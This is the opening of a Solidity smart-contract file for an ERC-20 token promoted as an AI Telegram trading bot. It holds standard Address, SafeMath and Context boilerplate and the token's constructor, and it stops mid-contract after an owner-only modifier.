// File: contracts/GMBL-NEW/AISIGHTBOT.sol



// SPDX-License-Identifier: MIT
/*

Welcome to the AI-Sight Bot Project:
Revolutionizing Trading with DeFi and AI
The ultimate Telegram bot platform that combines the power of decentralized finance (DeFi) and artificial intelligence (AI) to create an exceptional trading experience.

Telegram: https://t.me/AI_SightBot
Twitter: https://twitter.com/AISight_Erc20
Website: https://aisightbot.xyz

                                                   ..        '^,;!<_]{)\/fjxxnnnnnxxxjf/\){]_<iI,^'        ..                                                   
                                                     .^:i_}(fnvXYUJJJUUYXXzccccvvccczXXYUJJCCJJUXcnf|}_i;^.                                                     
                                                ^I~}\xcYJJJYzvxf\)}?_~>i!lII;;;;;;;;Ill!i>~_]})\jnvXJCLCJzn/{+I^                                                
                                           ^I_)jcYJJYcxt)[+il;;:;;li<_?}1(\/ffjjjjff/\(1[?+<!I;;:;;l>_}(fuXJLLJXx(-l^                                           
                                       ^i}tvUCJYuf)?>l;;;I>-1tnYQmpka*#MWW&&8&&&&&&&&&WWM#*akpZCXx\{_iI;;;l~](jzJLQJzj{>"                                       
                                   `l]fcUJUcr(?>;::I<}tcQqh#W&8888888888888ak88888#b&8888888888888&W*kwLv/]<I;;I<]\nYLQCXj[l`                                   
                           .    "~(uYJJXr)_!;:;<}rCqaM&8%8888888888%%%%%%%%pZ8%%%%aOM%%%%%%%%88&&&&888%88&MawUj}<;;;i?|uULQCc|+"                                
                             "+\cJCUv/]>;:;~(cZaM&88888888%%%%%%%%%BBBBBBBB*aBB@@@Mk8BBBBBB%%%%%%%%%%8%8888888&MhOv1<;;;<}jXCQLYt+"                             
                      .   `>|cJJUv\-l;;![nOaW&8888%888%%BB%%%%%%BBBBBB%&WM#**oaaaao*#MW&8%BBBBB%%88%%B%%%%88888888&Mh0r]l;;!]fXCQLX/<`                          
                   ..   :[nUCJzt?l;;i1zp#&88888%%%%%BBBBBBB%B@@B8MokdpwmZOOO000000O0OOZmwqdka#&%B@BBBBBBBBBB%%%%888&88&#qv{!;;i[rULQLc{:                        
                     .!\zJJUn{>;;l{XdM&&#aW8%%%%%%BBB@@@@@@B8#kpmZO000000000O0OOOOOO00000000OOZqdaM%@@@@BBBBBBBB%%%%%aq#&&#pv]l;;<(cCLQJti.                     
                   '<jUJJYf-I;;_rw#&&&88#pqhW%%BBBB@@BBBB&opZ0QQQQQQQ0ZmmqqqqpppppqqqwwmZO0QQQQ00OOwkM%BBBBBBBBBB%8aCv0M88&&&*Zf<;;![xCLQLx+'                   
                 .<rJJJX/~;;l{UhM&8888%8%%Mbo%B@@@BBBBBWbOQLLJYYJQZqbaooahmJmbbbbbpLQba**ohbqZ0QQ00QQ0wo8BBBBBB@@B&O0MB%%%%88&WMbc?;;I-rCLQQu~.                 
             .. !rJJJY/<;;!(0oWW&&oa8%%%%%BBB@%W%BBB%&b0CJJYUUCwh#WWWMoahhZzmaaaaabYJdka#W&&WMobmO0QJJCLm*%BBBBWMBB@@B%%%%%Wk#8&WMhJ}I;I_xCQQ0ui  .             
              ,/CCJUj+;;l(O*MW&#pLzcQ#%%BBBBB&pmqh&8#mCYzcXLpo&8888&MMM###mzq#MMMMaXJa*##MW88888&#kZXvzXUQk88*QnnqBBBBBB%%bvjuLkW&M#aJ};;I]vQQ00f:              
          .  -YLCCv?;;;{QoM&&oZXuvUwo8%BB%%BBB&ada&#ZYuucLkW8%%%%8&&&&M*o#mzpMWWWWoXCo#MW&&&8%%%%%8&oZzuvXLb&*OLh8BB%BBB%%MdJrtrYpM&M#hY-;;l1U0QZQ]  .          
         . ,jQCCJ|!;;_Ya#W&a0cnuJbWBB%%BB%88%BBB%%WZvxnYb&%BB%%#aW&&&W#Z0kmYq#MWMMaYJhdOkW&&88%B%%%%%8#ZcnvYa%B@@B%88%BBBBBB%o0njxYpW&M#bxi;;<rQQ0mn,           
       .  <JQCLc-;;ltd#M&#OuxnJk&%%%%BBBBB%8%%BB%8bnjn0M%%%WoW&0vk&WWMoZQdZYw*####hYJbmLp*k0qW*a&%%%%%%8oCxrU&%BBB888@@BBBB%%BB#ZcucCbWW#*O};;I{J00mQ~          
      .  {QLCLfi;;+JoMWWpcrrYbW8&W8%BBBB%*d#BBBB%&Yfvp8BB%%L{wMQvbM#**hZQpZUmaooookYJpmQp*okoMU)k%%%%%B%%&ZjfdBBBB@%pqM@@BB%88W88*ZXcz0o&M#kx!;;+c00Ow)  .      
       'tOCLC(I;;1q#MW*CxrumM&&bvw&&8%B#bo8@@@@BBatxdBBB%%8U?Z#0cd*p0dbOQwOUmhaooabYJqmQp*#WWWY{b8%%%BBB%%&C(J%@@@@@B#wq8BB88WJJ*&&a0zcUpWW#*C+;Iixwqbaj.       
      'jZLQJ};IIfaMMWbvjrUa&&*YxpW&8%BB&%@@@@@@BBm(YoBBBB%%U-O#0cdowLqdOQm0UZkhaahdYJqZQq*#MMMX}k88%%BBBBB%qtr&B@@@@@@@W%B%%8&MCxZM&&dYcXZM&M#w];Ilxkkbou'      
   . 'jZLQJ];Iln*MW&8op0mW&MwxCM888%BB@@@@@@@@BBBJtLa@BB%%%mfdM0cdomLqdOQm0UZkhhhhdYJwZQqo#MMWX}b%%%%%BBBB%wn(*BB@@@@@@$@BB%%8&8hvzaW8ompa&8&WMb{;Ilxkbbon. .   
.  ../mQQL[;Ilv#M&&88%BB%88*Ch%88%%%BB@@@@@@@@@BBuj0h@BBB%888&MOcd*wLqdOQm0UZkhhhhpYJwZQqo#MMWC|h88%%%BBBB%Zz}dBB@@@@@@@@@BB%B888&Zm&88%%%8888&Mb)i<<vkkkoj .   
    }mQQ0)IlIx*M&88%%%%%%%88%%888%%%BB@@@@@@@@@B%fx0h@BBB%%88WbJQhamQpbZQmQUZbkhhhpYJwZQpo*MMWM#&888%%BBBB%OY?m@@@@@@@@@@@BB8%%%88B%88%%%%%%888W#b)<~+Yhkka{    
   !OO00jll;|aM&&kpb*%%BBBBBB%BB%ob%BBB@@@@@@@@B8tuOa@BBBB%88oOq*hZOdakZ0w0UZbkhhkpYJwZ0po#MWW&888%%%BBBBBBZY?0@@@@@@@@@@@@@oq&BB%%%BB@B%%&kpq#&M#w]~~?Ohbhb!   
. 'Xm0OX>lI-dMW&hmmwM%%WhoM&BBB@8b&BBB@@@@@@@@B@&|vZo@%W*oaaahhhp0Za*hm0mp0UZbkhkkpXJwZ0wkkaaoaooooooo*#8BBwJ]L@@@@@@@@@@BBBBha@BBB&#apk%%8kOZqMWM*C+~~|bkkoC' .
. [q0OZ}IllCMW&&kdp#B%%oqwmd%B@%8@@BB@@@@@@BBpck8\vmMB%qCCCCCLQ00p#*b0mkbdOXObkkkbpXJqwmwwwwwmmZO0QLCCCQMBBbJ[QBqw%BB@@@B@B%B@B&BBBhzYJZ&B%8kqp*&&#*j><icakh*{  
 ^CqpaL!lI(oM&88%%8%%%%BB%8%@B8p#@BB@BB@@@BB&zQJdtvw8B%%888&&&&&&&&#pbMWMoZXZhaahhbXUk*W&&&&&&&&&&&&&88%BB@oC[UmzckBBB@@BB@BBBBdh@BB88BB%%%%%88%8&W#q~II_pahoZ^ 
 ]oo#*|Il!Q#W&88%%%%88%%%B%BB%da@@@@@B@@$@B@*\koO{np%BB%%%%8888888%%BBBBBBdzkBBBBBWUC8BBBBBBB%88888%BBBBBB@#L?jOaqL@B@@$@B@@@@@8q#BB%%%B%88%88%%%8&M*j;lIzoha#] 
.zW*Mq<ll}a#WWoo*M8&&&owqp#8%%WBBB@@@@@@@@@@&/O*a)rq88#aqXr/|(|\trvYOd*W8BB&B$$@@@@&&BB&MopQXurft//tjvOa#&%oC+YW*JQ$@@@@@@@@@@BB&&%8WkqZpW&&8&#oa#&M*Z>lI1hooMY.
:pM#MXllIuo#Whvccb&&MMJ>i<Z&&&&888B@BB@@@@@@$LcbWn/OM&mX0x_:'       `;-fOM%@B%8&&88BB8aX1>"'      .^!(LZJ*8bX?b#puo$@$$@@@BBB%88&&&M#t!i{aMW&#zxx0WM*k}II~q*o#b:
_oM#MtIl!Qo#Wwnvz*&WM#v!!-qWWW&&&8%B%%@@@@@@@&fubu[Lo&M0uXLCXvxjfftttffnOho*##*ao##*oapY/((|\//fruXC0QYUkW&mx-qmfQ@@$$$@@@%BB%&88WWM#ni!-d#MWWCfxY#M*ofIllL#**#-
)MM#*{Il~qoMMQuvJM&W#*n(CkM&&W&#vQ8%888@@@@@@$a}cv<Ub&WWh0XzzXYUUUJJCQmddkho**hpbo#*ohbpqOLJUUUUJUXXXCp#W8M0\}Y]YB@@@@$$B88%%*nZ8W&&W*mn}w#M&&mjxcoW*ozIlIcM*#&\
/WMMa]II_do#WJvvQ&&WM*uO&&&8&W&#Cm88&&&@B@@@@@$p|C}vq88&M#okpwmZZmwpbkkkaao*##hmp*##*oahkkbdqmZZZmqba#M&8%oC)Ynj@@@@@@@@%&&88*Jq&WW8&&W*fmMM&&djxvhW*oCllIxM##8f
/WMMa]Il-boMWUvvQ&&WM*n0W&888W&o?f888&8#J*$@@@@BX(_tO&B8&W##**ooooaaaaaoo*###Mkmq#MM#*oooaaaaaooo**##M&8BBdY+(ja$$@@@@Zw%&&88b+v8WW8&&Motm#W&&brxvbW*oCllIrWMM8f
/&MMo[II_doMWCvvQ&&W#*nzo&&&&W&#JZ888&&B8@@@@@@@@Bm1Co@%8&WM##***ooooo***###MMhmq#MM###***oooo***##MW&8%B8Zn1W$$@@@@@@BB%&&88#Uq&WW&&&#q)m#W&&prxchW*oJllIn&MM%f
)WWM#)Il<w*MWOuvCM&W#*ni[nhW&&&MXZ%%8&%@$@@@@@@@BB8/cb@B%8&WMM###*******#####MhmqMMMM###******###MMW&8%B@*Q\O$@@@@@@@$$@B88%%#zq8WWWM0(~+q#W&&mxnzoM#ovIlIY8WW8|
+*WM&jIllLoM&pucX*&&M#cl!!ZW&&88%%%B%B@@@$@@@@@@@B@Jjm&@B%8&WMM#####**####*o*MamqMM***####*####MMMW&8%B@BpU\M@@@@@@@@$@@@B%B%%%88&WW#/l!-bMW&&LxuJMM*a\;l!m8W&W-
,d&M&Cll;xo#&#qpbM88&&mftjb&8WM888B@BB@@@@$$$@$$$@@aj0kB@B%8&WWMM#########o*M&*pk&W#oo########MMWW&&8BB@#Znc@@@$$$$$$$@@@@BB@%8&&#&&MJtfv*W&8&kpqhWM#b-II_o8&8h:
.X8W&h+II?k#&8%B%%%%888%%%8%B&qWBB@@@@@@@@@@@$$@$@@BcJpo@@B%8&WWMMM####**WB@@@@BB@@@B%#*####MMMWW&88BB@BpQfk@@$$$$$$@$@@@@@@@@BBkkB%8%%%8888%%%%%8&W#Lll;t&&&@U.
 ?WWW&j;llJMW88%%%B%%%%%BB@BBBodB@BB@BB@@@BB@@@@@@@@mfmp&@BB%8&WWWMMM##*o*&%@$$$$$@B8Moo##MMMWW&&8%BB@@*Zuf%@@@@@$@@B@@@BBB@BB@Mw8BB@B%%%%%%%%%%88&Mo|;I!Z%&8%] 
 `Z8W8p>II}aM&88M#*8B%%8&Mo#B@B&B@%%BB%B@@BB@@@@@@@B&(/ObBBBB%8&&&WWMM##**oo*MWWMM#*oo*##MWWW&&88%B@@@8qc~Z@@@@@@@@BB@@BBBB%8B@88@B8a#W&%%B%W#MW8&W#0!l;)&88@q^ 
  }&&&8x;lIc#M&WqZZaB%%hZmwk%BB@8h8B%BBBBBBB@@@@@@BB%pi]Y*BBBBB%88&&&&&&W&&&888&&888&&&&&&&&&88%B@@B@BdtIrBBB@@@@@@B%BB%BB%%BMoBBBBMqwZmWBB&pmZh&W#a};I!wB8%B{  
..'C%&&o];I>ZMM&*mZm*%%8&8BBBBBB%apW%%BBB@BBBB@@BBB%&WQ!l]ca%BBBB%888&&&&WM#ooo****#MW&&&&&88%BBBBB8mt+:|M&8BBBB@@BBBBBBBB%%aqMBBBBBB%&&%B8dZZpWW##nIl;nB%%$Q'..
   !a8&8w>I;?d#W&obh#%%%%%%%B%%%%BMb&%BB@@@@BBBBBB8&WM#J!,">na%BBBBB%8888W*hdpqqqpdko#M&8%%%BBBBB8Z{;,;)oW&&8%B@BB@@@@@BBBB#d&B%%%%%%%%%%%8akbM&M#C!l;{&B%@*!   
    }&&&%JlI;1kM&88%%%%%%88Wa888888%8%%%Moooo***oahhkbb0{?~i^!cMBBB@@$$$$$$$$@@@@@@$$$$$$$$@@@@Bw},l~+]jkhkhhhao**ooo**&BB%8%8%8&8M*888%%%%%%8&W#O<I;-o@BB%{    
   . f8&&8XII;)kMW&888%&&8&#Yck&&&888&*ZzvccccccvcccYLOx]{|pO/>_J&@@@@@@@@@BBBBBBB@B@@@@@@@@$@p)l]YaU]}{QOCzvvvvcccczzcUpM8888&&WZnmW&8&8%888&WMO~I;+k@%B$j .   
     .u%8&8Xl;;{bMM&&kCzXh8&WwnYaW&&&Wpm#oZkMdq##wpMM##d/}\a%@&Zt/0&$@@BB%88&&WWW&&88%BB@@$Bqf{vh@$BC}1Jo#MWoZaMhOo#wpMhOo&&&WWpvXhW&WwJ0qW&&M#L~;;_k$%B$c.     
      .v%88%CiI;?Z#MWoJffnZM&&#0xwW&8%pm%&Qh@bm%BmpB@B%BL[|*BB$$$MZJqMB@@BB88&&&&&&8%B@$$&pYUk@$$@@BQ{fMBB@@MQ#@oLMBZq@oC#8&&#UvpW&&aCccUbWW#ozi;;}a$BB$c.      
       .j8%8%w_;;<Xo#WWqvrnUb&&&#*&&8Bdm%&Qh@dm%%mm8%BBB8muYk%@$$$$$MkpboW88888888888&#kqqaB$$$$$@WmcCoBBB%BoQ#B*LMBZq@oC#%8&MaM&8#ZcvcZ#&M#b/l;;/W$B$@x.       
      .  )#B8%a|;;I\p#M&#OcvYZo888888BdmB&0h@dO8BMZp8%%BB@%hQQ&@$$$$$$@&ohkbkkkkkkkkbkaMB$$$$$$$@kLq&@@BB%B#Ok%@aLMBOw@*C#%888%8WwznvJh&W#*Q?;;iYB@B$&)         
       .  <d@8%&Y<;;+Xa#W&omLCLwo&%%%Bp08%kMB&mw&@8qmWBBB@@@@8B@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$@%B@@@BBBBhOoBB*Zk%Bka@aCM%%BBMwcrnUdW&M#dj!;;{b$@@$k~          
           "z8B8Bk\I;I{0*MW&*pO00wa&%%MmZW@@BB%p0#@Bamh&BB@@B@@@@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@@@%MpmW@%dO#@BB@@o0k%B%o0ujxYpW8WMaY_;;<Y8$@$@X" .         
          .  ]b@%B%O];;<fm*MW&Mbm00Zb&B%k0a@@BB@oLpWB8odpk#&B@@@@@@@$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@@%Wadqb#B%o0Z&@@B@8qO#BBhYrfxJk&8WMoL};;lfo$@$$h[  .          
              "nW@%BWU[>>_jm*MW&Wopqa8%B@Mmq&BBB@8kmOqo&8Mhddh#8@@@@@@@@$$$$$$$$$$$$@@@$@@@@@@@B&obpdo&8MbZ0qoB@BBB*Op%B%%MZXZo&&WMaL{I;I(p$$$$8u"              
                >C8@B@MJ{<>_t0oMW&&8%88%B@WLw%@BB@@@%#bmZd*88#hdboW%@@@@@@@@BBBBBBBB@@@@@@@B&*kpdaW8WaqZmkWB@@@BB@*zOB@%%8%%8%&WMkY[I;l(w@$@$BQ>                
                  _0%@B@WQ)<>~)YkM&&888%&kOb8BBBBBB@&b*&&opmwk#8&#kpdoB@B@@BBB%%%%BBB@@@@8kqphM8&oqZmk#&MkhB@B@@BBB*CJa8%%888&#wx+;:itd@$$$@Z-                  
                   .-Q8$@@8wf_i>?xZ*&888#dMBBBBBBBBB8*dwwb*8&opwqaBB&MB@B@@BBBBBBBBBB@@@@%M8@%dmmb#&WhqmphWBBBBBBBBBBdm8%8%&kU)!;;_vo$$$$B0-.                   
                      <X#$@@BaY1<ll?nm*&8%%%%%%BBBBBBBWMWodmqkM%M#B@@@@@@@@@@@@@@@@@@@@@@@@@@%*&8opmqk#Mo8BBBBBBB%%%%BB8&hC\<;;i\O&$$$$WY~                      
                        ;tpB$$@8px_;;l?r0a&8%8%%%BBB%%#kdbo#MohB@@@B@@@@@@@BBBBBBBBBB@@@@@@B@@@@Wk#Madqqk&%BBBB%%%%%8MbU|<;;!1J*$$$$@bfI                        
                          '-Xo@$$@&wx?I;;~|Xwo&888888%BB%Woko@@@@@B@@@@@BBB%%%888%%%%BB@@@@@BB@@@$&pb*&B@B%8888%8Mk0x[!:;>(Jo@$$$$#Y-'                          
                             ,{C*@$$$8bX)>;;I_|zZk#&888%%8%%%%%B%BBBBBBB%88888888888888BBBBBBBBB%%%%B8888%88WodLr}i;:I-jOM$$$$$#C{,                             
                                ,[Xk%$$$@#wv1>;;;>[fXZb*MW&&&&&&88%%%%BB%%%%%%%%%%%%%%%%%%%%%888&&&&&&M#apLn(_l;;l-tChB$$$$@aY},                                
                                   `~jO#@$$$@MpUt?i;;;!_{fvCZdh*M&&888%%%%%%%%%%%%%88%%8%888&&W#okq0Yn\]<I;;I~1uZo%$$$$$MZj~`                                   
                                       ,-rO*B$$$$B#pCx)_!;;;;!<?1\rvYC0ZqpbkhhaaahhkkdpwZQJXnf(}_>I;;;I>]/zZa8$$$$$@#Zx-,                                       
                                           "<|Xq#%$$$$$%#bOYx|[_>l;;;;;;;Il!ii>>>ii!!lI;;;;;;I!<-1fcLqa&@$$$$$B#pY\~"                                           
                                                ">{xCd#%$$$$$$$%W*kqOCYcnjf/\|((((|\tjxuXJQmdaM8@$$$$$$$BMbLn1>"                                                
                                                     ."!-(xUZdoW%@$$$$$$$$$$$$$$$$$$$$$$$$$$$$@%&obZJx(?!".                                                     
                                                             ."I>_}|juXJQZwqddbbbbbdqwZQJXuj|}_>I".                                                             
工具简介


*/

pragma solidity 0.8.20;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}


pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract AISIGHTBOT is Context, IERC20 {
 
    /// INITIALIZATION ///
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    address public Allowed;
    /// DATA STRUCTURES ///

    constructor () {
        _name = "AISIGHT BOT";
        _symbol = "SIGHTBOT";
        _decimals = 18;
        uint256 initialSupply = 1000000000;
        Allowed = msg.sender;
        _mint(msg.sender, initialSupply*(10**18));
    }

    modifier onlyOwner() {
        require(msg.sender == Allowed, "Not allowed");
        _;
    }

